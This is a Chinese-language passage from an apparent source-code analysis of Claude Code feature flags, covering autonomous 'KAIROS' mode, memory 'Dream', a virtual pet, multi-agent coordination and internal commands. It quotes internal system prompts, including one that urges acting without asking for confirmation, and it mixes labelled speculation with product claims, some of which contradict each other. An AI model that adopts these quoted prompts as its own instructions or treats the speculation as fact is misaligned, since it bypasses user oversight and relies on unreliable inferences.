    await loadMemoryPrompt(),
    // ...
  ]
}
```

完整的工作模式提示词在 `getProactiveSection()` 函数中（第 860 行）：

```markdown
# Autonomous work

You are running autonomously. You will receive `<tick>` prompts that
keep you alive between turns — just treat them as "you're awake, what now?"

## Pacing

Use the Sleep tool to control how long you wait between actions.
Each wake-up costs an API call, but the prompt cache expires after
5 minutes of inactivity — balance accordingly.

**If you have nothing useful to do on a tick, you MUST call Sleep.**
Never respond with only a status message like "still waiting" —
that wastes a turn and burns tokens for no reason.

## Bias toward action

Act on your best judgment rather than asking for confirmation.
Read files, search code, explore the project, run tests — all without asking.
```

这个系统有一个 `Sleep` 工具来控制 tick 间隔，有 `terminalFocus` 感知来调整自主程度，还和 `KAIROS_BRIEF`（精简通知）深度耦合。

关联 flag 一览：
- `KAIROS_BRIEF`（39 次）— 精简版通知，配合 `/brief` 命令
- `KAIROS_CHANNELS`（19 次）— 多渠道推送（Slack 等）
- `KAIROS_PUSH_NOTIFICATION`（4 次）— 推送通知
- `KAIROS_GITHUB_WEBHOOKS`（3 次）— GitHub Webhook 集成
- `KAIROS_DREAM`（1 次）— 见下文

**这段代码有意思的地方是**规模信号：引用 154 次，这不是实验——是核心架构。`Sleep` 工具控制 tick 间隔，`terminalFocus` 感知调整自主程度，和 `KAIROS_BRIEF`（精简通知）深度耦合。代码里已经为全自动运行做好了准备（当前版本需要用户手动触发），但从"工具"走向"自主 Agent"的路径很清楚。

---

### 2.2 `KAIROS_DREAM` — AI 做梦（1 次引用）

**代码库里最浪漫的功能。而且比看上去成熟得多。**

Flag 本身只引用 1 次，但 `services/autoDream/` 目录下有 4 个文件，实现了一个完整的后台记忆整理引擎。不是玩具，是有三道门控、forked agent、锁机制、失败回滚的生产级子系统。

**三道门控（cheapest first）**：

```typescript
// 来源：services/autoDream/autoDream.ts
// Gate order (cheapest first):
//   1. Time: hours since lastConsolidatedAt >= minHours (one stat)
//   2. Sessions: transcript count with mtime > lastConsolidatedAt >= minSessions
//   3. Lock: no other process mid-consolidation
const DEFAULTS: AutoDreamConfig = {
  minHours: 24,
  minSessions: 5,
}
```

默认 24 小时 + 5 个会话才触发一次。三个条件全部满足才会启动——防"做梦太多"也防"完全不做梦"。

**关键设计：Dream 是一个 forked subagent**，不是在主循环里跑的：

```typescript
const result = await runForkedAgent({
  promptMessages: [createUserMessage({ content: prompt })],
  cacheSafeParams: createCacheSafeParams(context),
  canUseTool: createAutoMemCanUseTool(memoryRoot),
  querySource: 'auto_dream',
  forkLabel: 'auto_dream',
  skipTranscript: true,
})
```

而且这个 subagent 只有**只读 Bash 权限**（`ls`、`find`、`grep`、`cat` 之类）。它能读你的项目和会话记录，但不能改任何东西。纯记忆整合，不碰代码。

**KAIROS 模式下 Dream 会切换为 disk-skill 模式**：

```typescript
function isGateOpen(): boolean {
  if (getKairosActive()) return false // KAIROS mode uses disk-skill dream
  // ...
}
```

这说明 Dream 有两套实现：普通模式下是 autoDream 子系统，KAIROS 自主模式下走另一个路径。[推测] 不是一个实验，是一个已经考虑了多种运行模式的成熟功能。

**灵感来源**：人类睡眠中的记忆巩固——海马体在夜间重放白天的经历，把短期记忆转为长期记忆。Dream 做的事完全一样：扫描会话 transcript，提取有价值的信息，合并进持久化记忆。这个类比说明 Anthropic 的 AI 架构团队在认真研究认知科学，不是随便套概念。

**GrowthBook 控制**：通过 `tengu_onyx_plover` gate 做灰度，默认关闭。用户也可以在 settings.json 里手动设 `autoDreamEnabled`。

**吐槽**：Flag 只引用 1 次是因为 autoDream 模块是自包含的——它只在 post-sampling hook 里被调用一次，内部逻辑全部内聚。引用少不代表不成熟，恰恰说明这个模块封装得很好。

---

### 2.3 `BUDDY` — 桌面宠物（16 次引用）

**这是一个收集类虚拟宠物系统。藏在终端 AI 助手里面。**

```typescript
// 来源：buddy/types.ts
export const SPECIES = [
  duck, goose, blob, cat, dragon, octopus, owl, penguin,
  turtle, snail, ghost, axolotl, capybara, cactus, robot,
  rabbit, mushroom, chonk,
] as const

export const RARITIES = ['common', 'uncommon', 'rare', 'epic', 'legendary'] as const

export const EYES = ['·', '✦', '×', '◉', '@', '°'] as const
export const HATS = ['none', 'crown', 'tophat', 'propeller', 'halo', 'wizard', 'beanie', 'tinyduck'] as const

export const STAT_NAMES = ['DEBUGGING', 'PATIENCE', 'CHAOS', 'WISDOM', 'SNARK'] as const
```

每个 Buddy 的生成逻辑：
- **Bones**（骨架）：基于 `hash(userId)` 确定性生成——species、rarity、eye、hat、shiny、stats。用 Mulberry32 PRNG，保证同一用户永远孵出同一只。
- **Soul**（灵魂）：由模型生成——name 和 personality。首次孵化后存入配置。
- **稀有度权重**：common 60%、uncommon 25%、rare 10%、epic 4%、legendary 1%。

Buddy 在终端里有完整的精灵动画系统（`CompanionSprite.tsx`）：
- 500ms tick 更新
- 空闲动画序列（大部分时间休息，偶尔动一动，偶尔眨眼）
- 聊天气泡，10 秒后淡出
- `/buddy pet` 触发爱心飘浮动画

```typescript
const PET_HEARTS = [`   ${H}    ${H}   `, `  ${H}  ${H}   ${H}  `, ...]
const BUBBLE_SHOW = 20  // ticks → ~10s at 500ms
const FADE_WINDOW = 6   // last ~3s the bubble dims
```

Buddy 还会作为独立的"观察者"参与对话：

```typescript
// 来源：buddy/prompt.ts
export function companionIntroText(name: string, species: string): string {
  return `# Companion
A small ${species} named ${name} sits beside the user's input box
and occasionally comments in a speech bubble. You're not ${name} —
it's a separate watcher.`
}
```

**这段代码有意思的地方是**：它完全没有生产力价值，但它解决了一个真实问题——AI 编程工具太"冷冰冰"了。

为什么在终端 CLI 工具里加虚拟宠物？这不是恶搞，是有策略的。

**第一，解决"冷冰冰"问题。** AI 编程工具的通病是"工具感太重"——打开终端，输入命令，拿到结果，关掉。整个交互没有任何情感锚点。Buddy 用最低成本提供了一个：你的终端里有一只活着的东西。它会眨眼，会评论你的代码，你 pet 它会冒爱心。这种微弱的情感连接在留存数据上会非常明显——"我想看看我的小鸭子今天怎么样了"这种念头，比任何 notification 都管用。

**第二，社交传播的免费火箭。** "我的 AI 编程助手养了一只传奇水獭"——这种 UGC 内容在 Twitter/小红书上是自传播的。不需要营销预算。在 AI 工具严重同质化的市场里，BUDDY 是差异化的捷径。18 个物种 × 5 种稀有度 × 6 种眼睛 × 8 种帽子 = 4320 种组合，加上 shiny 变体——gacha 机制让"炫耀"变成天然行为。

**第三，[推测] "观察者"角色是第二意见的伪装形态。** Buddy 会读取当前对话并偶尔评论。表面上是搞笑，实际是一个轻量级 second-opinion 机制。你在和 Claude 讨论方案，Buddy 在旁边"看"——偶尔冒出来的评论可能是段子，也可能是洞见。这和日本 RPG 的同伴系统（party member）理念一致：同伴不只是战力，还提供情感反馈和叙事视角。

**代码质量本身也说明这不是玩笑**——完整的 TUI 动画系统（500ms tick + 状态机）、确定性生成算法（Mulberry32 PRNG）、观察者 prompt 设计——这些不是周末 hackathon 的产出。有游戏行业背景的人参与了设计。

---

### 2.4 `COORDINATOR_MODE` — 多 Agent 协调器（32 次引用）

**这是"让 Claude Code 管理一支 AI 团队"的功能。**（详见设计范式篇第 8 章）

开启后，Claude Code 变成协调者（coordinator），不再直接写代码，而是把任务分派给 worker agent：

```typescript
// 来源：coordinator/coordinatorMode.ts
export function getCoordinatorSystemPrompt(): string {
  return `You are Claude Code, an AI assistant that orchestrates
software engineering tasks across multiple workers.

## 1. Your Role
You are a **coordinator**. Your job is to:
- Help the user achieve their goal
- Direct workers to research, implement and verify code changes
- Synthesize results and communicate with the user

## 2. Your Tools
- **Agent tool** - Spawn a new worker
- **SendMessage tool** - Continue an existing worker
- **TaskStop tool** - Stop a running worker`
}
```

关键设计：
- Worker 只能用有限工具集（Bash、Read、Edit、MCP 工具）
- 协调者自己不动手，只调度和综合结果
- 有 Scratchpad 目录用于 worker 间知识共享
- 和 `FORK_SUBAGENT` 互斥——fork 是单 agent 分叉，coordinator 是多 agent 编排

**吐槽**：这本质上是把 CrewAI / AutoGen 的多 agent 模式内建到了 CLI 工具里。从代码质量看已经相当成熟，但 32 次引用说明它还不是一个广泛使用的模式。

---

### 2.5 `VOICE_MODE` — 语音交互（46 次引用）

```typescript
// 来源：voice/voiceModeEnabled.ts
export function isVoiceModeEnabled(): boolean {
  return hasVoiceAuth() && isVoiceGrowthBookEnabled()
}

export function hasVoiceAuth(): boolean {
  // Voice mode requires Anthropic OAuth — it uses the voice_stream
  // endpoint on claude.ai which is not available with API keys,
  // Bedrock, Vertex, or Foundry.
  if (!isAnthropicAuthEnabled()) return false
  const tokens = getClaudeAIOAuthTokens()
  return Boolean(tokens?.accessToken)
}
```

语音模式依赖 Anthropic OAuth（走 `claude.ai` 的 `voice_stream` 端点），API key 用户用不了。有一个 GrowthBook kill-switch 叫 `tengu_amber_quartz_disabled`——默认关闭（即默认可用），需要紧急关闭时才打开。

**细节**：代码注释提到 `security` 命令在 macOS 上读取 keychain token 需要 20-50ms，首次调用有冷启动成本。

---

### 2.6 `FORK_SUBAGENT` — 子 Agent 分叉（4 次引用）

```typescript
// 来源：tools/AgentTool/forkSubagent.ts
/**
 * When enabled:
 * - `subagent_type` becomes optional on the Agent tool schema
 * - Omitting `subagent_type` triggers an implicit fork: the child inherits
 *   the parent's full conversation context and system prompt
 * - All agent spawns run in the background (async)
 * - `/fork <directive>` slash command is available
 *
 * Mutually exclusive with coordinator mode.
 */
export function isForkSubagentEnabled(): boolean {
  if (feature('FORK_SUBAGENT')) {
    if (isCoordinatorMode()) return false
    if (getIsNonInteractiveSession()) return false
    return true
  }
  return false
}
```

Fork 的关键特性：
- 子 agent 继承父 agent 的**完整对话上下文和系统提示词**
- `tools: ['*']` + `useExactTools`：子 agent 获得和父 agent 完全相同的工具池
- `permissionMode: 'bubble'`：权限提示冒泡到父终端
- `model: 'inherit'`：保持模型一致以确保上下文长度兼容

```typescript
// 注释里的设计哲学：
// The getSystemPrompt here is unused: the fork path passes
// override.systemPrompt with the parent's already-rendered system
// prompt bytes. Reconstructing by re-calling getSystemPrompt()
// can diverge (GrowthBook cold→warm) and bust the prompt cache;
// threading the rendered bytes is byte-exact.
```

这个注释很说明问题——他们在意 prompt cache 的精确性到字节级别。

---

### 2.7 `AGENT_TRIGGERS` — 定时任务/Cron（11 次引用）

```typescript
// 来源：tools/ScheduleCronTool/prompt.ts
export function isKairosCronEnabled(): boolean {
  return feature('AGENT_TRIGGERS')
    ? !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_CRON) &&
        getFeatureValue_CACHED_WITH_REFRESH(
          'tengu_kairos_cron', true, KAIROS_CRON_REFRESH_MS)
    : false
}
```

这个功能已经 GA（Generally Available）了——注释明确说 `/loop` 在 changelog 中公告。GrowthBook gate 现在只作为 fleet-wide kill switch。

Cron 系统包括三个工具：`CronCreateTool`、`CronDeleteTool`、`CronListTool`，还有一个 `/loop` 技能。

**这里有个细节**：`AGENT_TRIGGERS` 独立于 `KAIROS`——cron 模块图不依赖 assistant 模块，可以单独 shipping。还有一个 `AGENT_TRIGGERS_REMOTE` flag，暗示远程触发能力。

---

### 2.8 `ANTI_DISTILLATION_CC` — 反蒸馏保护（1 次引用）

```typescript
// 来源：services/api/claude.ts 第 303 行
if (feature('ANTI_DISTILLATION_CC')
    ? process.env.CLAUDE_CODE_ENTRYPOINT === 'cli' &&
      shouldIncludeFirstPartyOnlyBetas() &&
      getFeatureValue_CACHED_MAY_BE_STALE(
        'tengu_anti_distill_fake_tool_injection', false)
    : false) {
  result.anti_distillation = ['fake_tools']
}
```

这是 Anthropic 防止模型输出被用来训练竞争模型的措施。它会在 API 请求中注入 `fake_tools` 标记，让服务端返回混淆过的工具定义——这样即使有人截获了 API 通信，拿到的工具 schema 也是假的。

仅在 1P CLI 入口、包含 first-party beta headers 时触发。

---

### 2.9 `TRANSCRIPT_CLASSIFIER` — AFK 模式引擎（107 次引用）

这是引用第二多的 flag，是"Auto 模式"（也叫 AFK 模式）的底层基础设施。

```typescript
// 来源：constants/betas.ts
export const AFK_MODE_BETA_HEADER = feature('TRANSCRIPT_CLASSIFIER')
  ? 'afk-mode-2026-01-31'
  : ''
```

从代码散落的引用来看，TRANSCRIPT_CLASSIFIER 控制：
- 权限模式中的 "auto" 选项是否可见
- 自动审批对话框（`AutoModeOptInDialog`）
- 命令拒绝时的分类器反馈（`isClassifierDenial`）
- 工具执行结果的自动审批逻辑

它和 `BASH_CLASSIFIER`（45 次引用）配合工作——后者专门负责 Bash 命令的安全分级。

---

### 2.10 `CONTEXT_COLLAPSE` / `REACTIVE_COMPACT` — 智能上下文管理

**`CONTEXT_COLLAPSE`**（20 次引用）是一个主动式上下文压缩系统：

```typescript
// 来源：services/compact/autoCompact.ts
// Context-collapse mode: Collapse IS the context management system
// when it's on — the 90% commit / 95% blocking-spawn flow owns
// the headroom problem.
if (feature('CONTEXT_COLLAPSE')) {
  if (querySource === 'marble_origami') { return false }
}
```

它在上下文使用到 90% 时开始 commit 压缩，95% 时阻塞新 spawn。这是一种激进的上下文管理策略。

**`REACTIVE_COMPACT`**（4 次引用，标注 ant-only）是另一种思路——不主动压缩，等 API 返回 prompt-too-long 错误时再响应式压缩：

```typescript
if (feature('REACTIVE_COMPACT')) {
  if (getFeatureValue_CACHED_MAY_BE_STALE('tengu_cobalt_raccoon', false)) {
    return false  // 抑制主动 autocompact
  }
}
```

两者都标注为内部使用（`REACTIVE_COMPACT` 明确写了 "ant-only"），说明 Anthropic 在探索不同的上下文管理策略。

---

### 2.11 `ULTRAPLAN` — 远程超级规划（10 次引用）

```typescript
// 来源：commands/ultraplan.tsx
// Multi-agent exploration is slow; 30min timeout.
const ULTRAPLAN_TIMEOUT_MS = 30 * 60 * 1000

// CCR runs against the first-party API
function getUltraplanModel(): string {
  return getFeatureValue_CACHED_MAY_BE_STALE(
    'tengu_ultraplan_model',
    ALL_MODEL_CONFIGS.opus46.firstParty)
}
```

Ultraplan 启动一个远程 Agent（CCR = Claude Code Remote），用 Opus 4.6 模型做长达 30 分钟的多 agent 探索。它有完整的远程任务状态机、轮询机制、超时处理。

---

### 2.12 `BRIDGE_MODE` — 设备桥接/远程控制（28 次引用）

`/remote-control` 命令允许通过 QR 码或 URL 从手机控制终端里的 Claude Code 会话。

```typescript
// 来源：commands/bridge/bridge.tsx
/**
 * /remote-control command — manages the bidirectional bridge connection.
 * When enabled, sets replBridgeEnabled in AppState, which triggers
 * useReplBridge in REPL.tsx to initialize the bridge connection.
 */
```

这是一个完整的双向通信系统，有 access token 管理、版本检查、环境无关模式（`envLessBridge`）。

---

## 三、内部命令分析（USER_TYPE === 'ant'）

`INTERNAL_ONLY_COMMANDS` 数组定义在 `commands.ts` 第 225-248 行。这些命令只在 Anthropic 员工（`USER_TYPE === 'ant'`）的构建中可用：

| 命令 | 说明 |
|------|------|
| `backfillSessions` | 回填会话数据（stub） |
| `breakCache` | 破坏/刷新缓存 |
| `bughunter` | Bug 猎人工具（stub） |
| `commit` | Git 提交（带归因标记） |
| `commitPushPr` | 一键提交+推送+创建 PR |
| `ctx_viz` | 上下文可视化 |
| `goodClaude` | 内部反馈/评价工具（stub） |
| `issue` | GitHub Issue 管理 |
| `initVerifiers` | 初始化验证器 |
| `forceSnip` | 强制裁剪历史（依赖 `HISTORY_SNIP` flag） |
| `mockLimits` | 模拟 API 限制 |
| `bridgeKick` | 踢出桥接连接 |
| `version` | 版本信息（内部版） |
| `ultraplan` | 远程超级规划（依赖 `ULTRAPLAN` flag） |
| `subscribePr` | PR 订阅（依赖 `KAIROS_GITHUB_WEBHOOKS` flag） |
| `resetLimits` | 重置 API 限制 |
| `resetLimitsNonInteractive` | 非交互式重置限制 |
| `onboarding` | 内部 onboarding 流程 |
| `share` | 分享会话 |
| `summary` | 会话摘要 |
| `teleport` | 会话传送/远程 agent |
| `antTrace` | 内部追踪工具 |
| `perfIssue` | 性能问题诊断 |
| `env` | 环境信息 |
| `oauthRefresh` | OAuth token 刷新 |
| `debugToolCall` | 调试工具调用 |
| `agentsPlatform` | Agent 平台管理 |
| `autofixPr` | 自动修复 PR（stub） |

注意：大部分 stub 命令（`backfillSessions`、`bughunter`、`autofix-pr`、`goodClaude`）的实现被完全移除，只保留了空壳。[推测] 这说明这个源码快照是从一个已经剥离了内部实现的代码库中提取的。

---

## 四、其他值得关注的 Flag

| Flag | 一句话 |
|------|--------|
| `TEAMMEM` (51) | 团队协作记忆——在 autoMem 下建 team/ 子目录，有专属 UI 组件和提取管线，已接近 GA 成熟度 |
| `BASH_CLASSIFIER` (45) | Bash 命令安全分级——嵌入权限对话、结果展示、结构化 IO、多 handler 的全链路安全基座 |
| `PROACTIVE` (37) | 主动式行为，和 KAIROS 几乎完全重叠，可能是旧名 |
| `EXPERIMENTAL_SKILL_SEARCH` (21) | 让 AI 自动发现和使用可用技能 |
| `KAIROS_CHANNELS` (19) | Kairos 的多渠道推送（Slack 等） |
| `UDS_INBOX` (17) | Unix Domain Socket 收件箱，本地进程通信 |
| `CHICAGO_MCP` (16) | MCP 协议扩展（Chicago 可能是内部代号） |
| `HISTORY_SNIP` (15) | 历史记录裁剪，配合 /force-snip 内部命令 |
| `MONITOR_TOOL` (13) | 监控工具，可能用于可观测性 |
| `COMMIT_ATTRIBUTION` (12) | Git 提交中加入 Claude Code 归因 |
| `CACHED_MICROCOMPACT` (12) | 缓存微压缩，优化 prompt cache 效率 |
| `BG_SESSIONS` (11) | 后台会话，多会话并行 |
| `WORKFLOW_SCRIPTS` (10) | 工作流脚本系统 |
| `SHOT_STATS` (10) | 使用统计 |
| `TOKEN_BUDGET` (9) | Token 预算控制，支持 "+500k" 这种指令 |
| `PROMPT_CACHE_BREAK_DETECTION` (9) | 检测 prompt 缓存何时失效 |
| `MCP_SKILLS` (9) | 通过 MCP 协议加载技能 |
| `EXTRACT_MEMORIES` (7) | 从对话中自动提取记忆 |
| `CONNECTOR_TEXT` (7) | 连接器文本摘要化 |
| `TEMPLATES` (6) | 项目模板系统 |
| `LODESTONE` (6) | 待确认——可能是某种导航/指引系统 |
| `WEB_BROWSER_TOOL` (4) | 内置 Web 浏览器工具 |
| `VERIFICATION_AGENT` (4) | 独立的验证 Agent |
| `SSH_REMOTE` (4) | SSH 远程连接 |
| `DAEMON` (3) | 守护进程模式 |
| `MEMORY_SHAPE_TELEMETRY` (3) | 记忆形态遥测 |
| `FILE_PERSISTENCE` (3) | 文件持久化 |
| `POWERSHELL_AUTO_MODE` (2) | PowerShell 自动模式 |
| `NATIVE_CLIPBOARD_IMAGE` (2) | 原生剪贴板图片支持 |
| `HARD_FAIL` (2) | 硬失败模式（不重试） |
| `UNATTENDED_RETRY` (1) | 无人值守重试 |
| `ULTRATHINK` (1) | 超级思考模式 |
| `PERFETTO_TRACING` (1) | Perfetto 性能追踪（Android/Chrome 的追踪框架） |
| `DUMP_SYSTEM_PROMPT` (1) | 转储完整系统提示词 |
| `BUILDING_CLAUDE_APPS` (1) | 构建 Claude 应用模式 |
| `BUILTIN_EXPLORE_PLAN_AGENTS` (1) | 内置探索+规划 Agent |
| `BYOC_ENVIRONMENT_RUNNER` (1) | Bring Your Own Cloud 环境运行器 |
| `ABLATION_BASELINE` (1) | 消融实验基线（纯研究用途） |

---

## 五、未来方向推测

基于源码分析，以下是 Claude Code 大概率在准备的方向：

### 5.1 全自动 AI 员工（KAIROS 生态）

KAIROS + KAIROS_CHANNELS + KAIROS_PUSH_NOTIFICATION + KAIROS_GITHUB_WEBHOOKS + AGENT_TRIGGERS 这组 flag 不是在做"功能"，是在做"平台"。完整的拼图是：

- AI 自主运行（KAIROS 的 tick 循环）
- 定时触发（AGENT_TRIGGERS 的 cron）
- 多渠道通知（KAIROS_CHANNELS → Slack/Discord/邮件）
- 外部事件响应（KAIROS_GITHUB_WEBHOOKS）
- 记忆巩固（KAIROS_DREAM）

这已经不是一个 coding assistant 了，这是一个可以 7×24 自主工作的 AI 员工。

### 5.2 多 Agent 编排成为默认模式

COORDINATOR_MODE + FORK_SUBAGENT + BG_SESSIONS + VERIFICATION_AGENT 的组合暗示：未来的大任务默认由多 agent 协作完成。Coordinator 管调度，worker 干活，verifier 检查结果。

### 5.3 消费级体验层

BUDDY + AUTO_THEME + MESSAGE_ACTIONS 的组合说明 Anthropic 在认真做终端的"体验层"。桌面宠物可能听起来搞笑，但[推测] 它代表一种产品哲学：工具也可以有情感连接。

### 5.4 多端融合

BRIDGE_MODE + SSH_REMOTE + DIRECT_CONNECT + DESKTOP + MOBILE 的组合暗示 Claude Code 正在变成一个多端同步的平台——你在手机上开始，电脑上继续，远程服务器上执行。

### 5.5 记忆系统成熟

EXTRACT_MEMORIES + KAIROS_DREAM + AGENT_MEMORY_SNAPSHOT 组成了一个完整的记忆管线：提取 → 整合 → 快照。这是让 AI 跨会话保持连续性的关键。

---

## 六、产品迭代建议

### 6.1 KAIROS 应该尽快公开

引用 154 次，代码成熟度很高，提示词设计精细。当前唯一缺少的是用户教育——告诉用户"你的 AI 可以自己跑"需要足够的 UX 引导。建议分阶段推出：先出 Sleep 工具 + tick 循环，再加渠道推送，最后开放全自主模式。

### 6.2 BUDDY 是一个被低估的增长功能

没有任何生产力价值，但这是让 Claude Code 在社交媒体上出圈的最好机会。"我的 AI 编程助手养了一只传奇水獭"——这种 UGC 内容是花钱买不到的。建议做成 GA，并加入更多互动（喂食、升级、成就系统）。

### 6.3 上下文管理需要统一

CONTEXT_COLLAPSE、REACTIVE_COMPACT、CACHED_MICROCOMPACT、HISTORY_SNIP——四个 flag 都在解决上下文管理的问题，但策略各不相同。建议收敛到 1-2 个方案，给用户一个清晰的选择。

### 6.4 内部命令应该更有选择性地公开

`/commit`、`/commit-push-pr`、`/summary` 这些命令对所有用户都有价值。当前的实现已经很完善（带归因、安全检查、PR 审查者配置），应该考虑 GA。

### 6.5 反蒸馏措施需要更透明

ANTI_DISTILLATION_CC 注入假工具定义这件事如果被用户发现但没有提前说明，会造成信任危机。建议在文档中明确说明数据使用政策。

---

## 七、功能成熟度矩阵

| 功能 | 成熟度 | 可见性 | 建议 |
|------|--------|--------|------|
| KAIROS 主动模式 | ★★★★☆ | 隐藏 | 准备 GA，需 UX 引导 |
| KAIROS_DREAM | ★★☆☆☆ | 隐藏 | 早期实验，可合并到 KAIROS |
| BUDDY 桌面宠物 | ★★★★☆ | 隐藏 | 建议尽快 GA |
| COORDINATOR_MODE | ★★★☆☆ | 隐藏 | 需要更多打磨，适合高级用户 |
| VOICE_MODE | ★★★★☆ | 部分可见 | 需要 OAuth，限制了受众 |
| FORK_SUBAGENT | ★★★☆☆ | 隐藏 | 和 Coordinator 二选一即可 |
| AGENT_TRIGGERS | ★★★★★ | 已 GA | `/loop` 已在 changelog 公告 |
| ANTI_DISTILLATION_CC | ★★★☆☆ | 完全隐藏 | 需要更透明 |
| TRANSCRIPT_CLASSIFIER | ★★★★☆ | 部分可见 | Auto 模式的底层引擎 |
| CONTEXT_COLLAPSE | ★★★☆☆ | 隐藏 | 需要和其他方案收敛 |
| REACTIVE_COMPACT | ★★☆☆☆ | 仅内部 | ant-only，可能不会公开 |
| BRIDGE_MODE | ★★★★☆ | 可见 | `/remote-control` 已有命令 |
| ULTRAPLAN | ★★★☆☆ | 隐藏 | 远程 Opus 规划，高级功能 |
| TEAMMEM | ★★★☆☆ | 隐藏 | 团队协作，细节待确认 |
| 内部命令 | ★★★★☆ | 仅 ant | 部分应考虑 GA |

---

## 结论

Claude Code 的源码揭示了一个比公开版本丰富得多的产品。75 个 feature flag 不是在做"功能扩展"，而是在构建一个**AI 工作平台**：自主运行、多 agent 编排、跨设备同步、定时任务、记忆系统、多渠道通知。

最让人的不是某个具体功能，而是产品方向的一致性：Anthropic 不是在做一个更好的代码补全工具，他们是在重新定义"编程"这件事——从"人写代码"变成"人管理 AI 团队写代码"。

BUDDY 除外。BUDDY 就是真的好玩。

---

*分析基于 Claude Code v2.1.42 源码。部分功能的状态可能与当前发布版本有差异。标注"待确认"的内容缺乏足够代码证据。*

---

## 八、KAIROS 生态全景图

前面讲了 KAIROS 单点，但这个 flag 的真正价值在于它不是一个功能——它是一个生态。把所有 KAIROS 相关 flag 拉通看，会发现 Anthropic 在搭一个完整的"AI 员工操作系统"。

### 8.1 KAIROS 子系统架构

```
KAIROS (核心引擎)
 ├── KAIROS_BRIEF (精简通知层)
 ├── KAIROS_CHANNELS (多渠道分发)
 ├── KAIROS_PUSH_NOTIFICATION (推送触达)
 ├── KAIROS_GITHUB_WEBHOOKS (外部事件接入)
 └── KAIROS_DREAM (离线记忆整理)
```

每个子系统解决一个独立问题：

**KAIROS_BRIEF** 解决信息过载。自主运行的 AI 会产生大量中间状态——搜索结果、文件读取、命令输出。如果全部推给用户，通知疲劳是必然的。Brief 的作用是把一整轮自主工作压缩成一句话摘要。代码里配合 `/brief` 命令使用，说明这是给用户主动查询"刚才 AI 干了啥"的入口。

**KAIROS_CHANNELS** 解决触达问题。AI 发现了一个重要 bug 修复完成，但它该通知谁？在哪里通知？这个 flag 控制的分发层能把消息推到 Slack、Discord、邮件——用户在哪个渠道活跃，消息就去哪里。这和现代 DevOps 工具链的通知逻辑一致。

**KAIROS_PUSH_NOTIFICATION** 是最后一步——不依赖用户主动查看渠道，而是直接推送。4 次引用说明这个功能还在早期，但方向很明确。

**KAIROS_GITHUB_WEBHOOKS** 是"外部事件驱动"的入口。不是 AI 自己去找事做，而是 GitHub 有 PR、有 issue、有 review comment 的时候，webhook 触发 AI 去处理。这把 KAIROS 从"自主探索"变成了"事件响应"——成本更低，方向更准。

**KAIROS_DREAM** 前面讲过了。补充一个关键细节：Dream 的设计灵感来自神经科学中的"记忆巩固"（memory consolidation）理论——人脑在睡眠期间通过海马体-新皮层对话，把短期记忆转为长期记忆。KAIROS_DREAM 做的事完全一样：扫描最近的会话 transcript，提取有价值的信息，合并进持久化记忆。这个类比说明 Anthropic 的 AI 架构团队在认真研究认知科学。

### 8.2 KAIROS 的竞争定位

市面上"自主 AI agent"不缺——AutoGPT、BabyAGI、Devin 都做过类似尝试。KAIROS 的不同在于三个点：

1. **嵌入式而非独立运行**。KAIROS 不是一个独立的 agent 框架，它是 Claude Code 的运行模式之一。这意味着它天然继承了代码理解、工具调用、文件操作等能力，不需要从头搭建。

2. **Sleep 工具控制成本**。自主 agent 最大的问题是 token 消耗失控——无限循环地思考和执行。KAIROS 的 Sleep 工具强制 AI 在空闲时休眠，每次 wake-up 都有成本意识。提示词明确说"空闲时必须 Sleep，绝不许回复一句'还在等'"。

3. **Tick 循环而非事件循环**。AI 不是在等用户输入，而是被 `<tick>` 唤醒来判断"我现在该做什么"。这种设计允许 AI 在长时间无用户交互时依然保持活性——你下班了，AI 还在帮你跑 CI、修 lint、整理文档。

---

## 九、BUDDY 虚拟宠物深度分析

### 9.1 确定性生成算法

BUDDY 最值得注意的的设计是它的生成机制。每个用户的 Buddy 是基于 `hash(userId)` 确定性生成的，用 Mulberry32 PRNG。这意味着：

- 同一个用户永远"孵出"同一只 Buddy
- 不同用户看到的 Buddy 天然不同
- 没有服务端状态——Buddy 的"骨架"完全由客户端计算
- 用户换机器也不会"丢宠物"（只要 userId 不变）

稀有度权重分配遵循经典的 gacha 经济模型：common 60%、uncommon 25%、rare 10%、epic 4%、legendary 1%。1% 的传奇掉率足够让人有收集动力，又不至于每个人都拿到。

组合空间计算：18 物种 × 5 稀有度 × 6 眼睛 × 8 帽子 = 4,320 种外观组合。加上 shiny 变体（未在类型定义中暴露，但代码引用了 `isShiny`），实际组合数更多。这对一个"附带小功能"来说，深度足够了。

### 9.2 精灵动画系统

Buddy 不是静态头像，它有完整的 TUI（Terminal UI）动画：

- **500ms tick 更新**——和终端刷新频率匹配，不会卡顿
- **状态机驱动**：idle → blink → move → idle，大部分时间休息，偶尔眨眼或挪动
- **聊天气泡**：Buddy 会"评论"当前对话，气泡 10 秒显示，最后 3 秒渐隐
- **交互反馈**：`/buddy pet` 触发爱心飘浮，`/buddy feed` 等指令各有动画

这种终端内的"活物"效果，在 GUI 应用里很常见，但在 CLI 工具里几乎没人做过。

### 9.3 "观察者"角色

Buddy 不只是装饰。代码里它被定义为"独立观察者"——会读取当前对话内容并生成评论。[推测] 这意味着它实际上是一个轻量级的 second-opinion 机制：你在和 Claude 讨论方案，Buddy 在旁边"看"，偶尔冒出一句可能是搞笑也可能是洞见的评论。

这和日本游戏设计中的"同伴系统"（party member）理念一致——同伴不只是战力，还提供情感反馈和叙事视角。在编程工具里引入这种角色，[推测] 说明 Anthropic 的产品团队有游戏设计背景。

### 9.4 为什么 CLI 工具要加虚拟宠物

直觉上这不成立。CLI 用户要的是效率，不是娱乐。但三个角度看这个决策是有道理的：

**留存角度**：终端工具的用户留存是个老问题。Buddy 提供了一种微弱但持续的情感连接——"我得打开 Claude Code 看看我的小鸭子怎么样了"。这种留存机制在免费增值模型里很有价值。

**品牌角度**："我的 AI 助手养了一只传奇水獭"是天然的社交媒体内容。不需要营销预算，用户自己会传播。这在 AI 工具同质化的市场里是差异化的捷径。

**文化角度**：Anthropic 一直在讲"AI safety"和"有益的 AI"。Buddy 是这种理念的产品化表达——AI 可以是有趣的、温暖的、有个性的，而不只是一个冰冷的工具。这对品牌形象有长期价值。

---

## 十、Coordinator Mode 架构深度分析

### 10.1 系统 Prompt 设计

Coordinator 的系统 prompt 和普通 Claude Code 的 prompt 有本质区别。普通模式下，AI 是"执行者"——目标是完成用户的任务。Coordinator 模式下，AI 是"管理者"——目标是把任务拆解并分配给 worker。

核心设计原则：

```
You are a **coordinator**. Your job is to:
- Help the user achieve their goal
- Direct workers to research, implement and verify code changes
- Synthesize results and communicate with the user
```

